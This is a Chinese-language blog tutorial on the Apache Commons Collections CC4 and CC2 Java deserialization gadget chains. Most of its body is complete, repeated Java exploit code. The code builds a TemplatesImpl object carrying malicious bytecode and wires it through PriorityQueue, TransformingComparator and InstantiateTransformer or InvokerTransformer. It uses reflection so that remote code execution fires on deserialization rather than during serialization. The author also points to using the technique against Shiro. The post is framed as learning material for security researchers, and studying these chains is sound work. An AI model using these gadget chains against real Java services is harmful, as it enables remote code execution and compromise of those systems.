本来还要写一个cc5 7的,但是感觉到了后面其他链子都差不多,偷一下懒算了~
CC4 和 2 都是CC 4版本利用的
CC4和2要学习比较重要的地方,就是不用Transformer[]数组去传递恶意类和方法进行命令执行
CC4 入口点:
TransformingComparator.compare() =>
PriorityQueue.readObject().heapify().siftDown().siftDownUsingComparator().compare()
最后在执行恶意对象的compare()方法时候transform()命令执行
相信在之前看了我的CC链文章的你,已经对这些不陌生了,很熟练了。
都是new 这2个类,然后套一下,前面的恶意类加载构造利用newInstace类加载那一套
// 1
// 类加载
TemplatesImpl templates = new TemplatesImpl();
Class temp = templates.getClass();
Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = temp.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/xxxxxxx/ClassTest/ExecTest.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field factory = temp.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
如果像以下代码那样执行的话,就会在序列化的时候提前执行RCE
// 1
// 类加载
TemplatesImpl templates = new TemplatesImpl();
Class temp = templates.getClass();
Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = temp.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/xxxxxxx/ClassTest/ExecTest.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field factory = temp.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// 2
// TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
TransformingComparator transformingComparator1 = new TransformingComparator<>(chainedTransformer);
// 3
// 防止序列化提前RCE
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator1);
priorityQueue.add("1");
priorityQueue.add("2")
serialize(priorityQueue);
// desrialize("ser.bin");
跟往后的链子一样,如果在一开始就传入ChainedTransformer[]数组的话,就会发现add()方法里也执行了compare()方法
PriorityQueue.add().offer().siftup().siftUpUsingComparator().compare().queue[k] = e;
compare的时候就执行计算器弹窗了,所以这里我们设置一个空的Transformer对象,然后在最后序列化之前,利用反射把这个传入的对象更改回来为ChainedTransformer[]就可以了。
但是这里为什么一定要add呢?
先看看PriorityQueue.readObject()执行了什么
可以看到这里的heapify()方法会对i 和 size执行某种计算,默认的 size 值在这个类里是默认0的
在上面也有提示,这个size也代表着queue里的元素,在我们一开始new这个类的时候传的是一个空对象,在这里用不到,所以为了绕过这个计算,我们需要传入2个元素对象。
这个地方其实是关乎开发的一个队列运算,有兴趣的朋友可以自己搜来看看,笔者对这个地方不太感冒,给我想冒烟了。
所以一开始传一个无效Transfomrer对象,然后add 2个元素进去以后,再把反射改回ChainedTransform,就可以正常在反序列化以后走transform()弹计算器了。
TemplatesImpl templates = new TemplatesImpl();
// 老样子,构造newInstance类加载,恶意类
Class temp = templates.getClass();
Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = temp.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/xxxxx/ClassTest/ExecTest.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field factory = temp.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// 2
// 防止序列化提前RCE
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
// TransformingComparator transformingComparator1 = new TransformingComparator<>(chainedTransformer);
// 3
// add 2个元素绕过计算进入下一步
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add("1");
priorityQueue.add("2");
// 4
// 反射修改属性,反序列化触发RCE
Class clazz = TransformingComparator.class;
Field clazzDeclaredField = clazz.getDeclaredField("transformer");
clazzDeclaredField.setAccessible(true);
clazzDeclaredField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
desrialize("ser.bin");
至此CC4反序列化链子就结束了
接下来到CC2
其实CC2跟CC4差不多,就是传递恶意方法的方式不一样,前面CC4用数组,CC2就不利用数组传递恶意类。
我们知道CC4的templates类传到TrAxFilter类,最后也是为了执行他自己的newTransformer()方法
所以我们这里直接把这个方法通过invoker直接构造出来,不利用数组
InvokerTransformer<Object, Object> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
那你们就会好奇,那我恶意类怎么传入呢?
笔者知道的有2种方式。
第一种:
在观察PriorityQueue.readObject()的时候,会发现最后compare().transform()方法会对queue[]数组里的元素执行,那回过头来看看add()方法的compare处
这里如果templates在add的时候是在第一个传递进去的,那么就会来到上图的(E) e 部分,最后会传递到queue[k]数组里,之后在readObject()的时候不是就会对queue数组执行compare()方法吗,在反序列化时候,恶意类和方法就会碰到一起transform()方法,进行R
TemplatesImpl templates = new TemplatesImpl();
Class temp = templates.getClass();
Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = temp.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/xxxx/ExecTest.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field factory = temp.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());
InvokerTransformer<Object, Object> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// templates要在add的第一个位置传递才行
priorityQueue.add(templates);
priorityQueue.add("2");
Class clazz = transformingComparator.getClass();
Field clazzDeclaredField = clazz.getDeclaredField("transformer");
clazzDeclaredField.setAccessible(true);
clazzDeclaredField.set(transformingComparator,invoker);
serialize(priorityQueue);
desrialize("ser.bin");
第二种办法:
就是add正常add,但是这个queue[]里传递恶意类,就利用反射,修改里面这个数组[]其中位置元素为恶意类即可
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
TemplatesImpl templates = new TemplatesImpl();
Class temp = templates.getClass();
Field name = temp.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = temp.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/xxxx/ExecTest.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field factory = temp.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());
InvokerTransformer<Object, Object> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add("1");
priorityQueue.add("2");
Class clazz = transformingComparator.getClass();
Field clazzDeclaredField = clazz.getDeclaredField("transformer");
clazzDeclaredField.setAccessible(true);
clazzDeclaredField.set(transformingComparator,invoker);
// add随便add元素,这里利用反射修改进去就可以
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
serialize(priorityQueue);
desrialize("ser.bin");
至此CC4和CC2就分析完毕了~
其实为什么要想一个无Transfomer[]数组构造方式呢,是因为后续讲到的shiro CC链执行的时候,Shiro读取序列化的过程有方法被重写了,导致数组恶意类无法传递进去,所以这个点蛮重要的。
原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/81013.html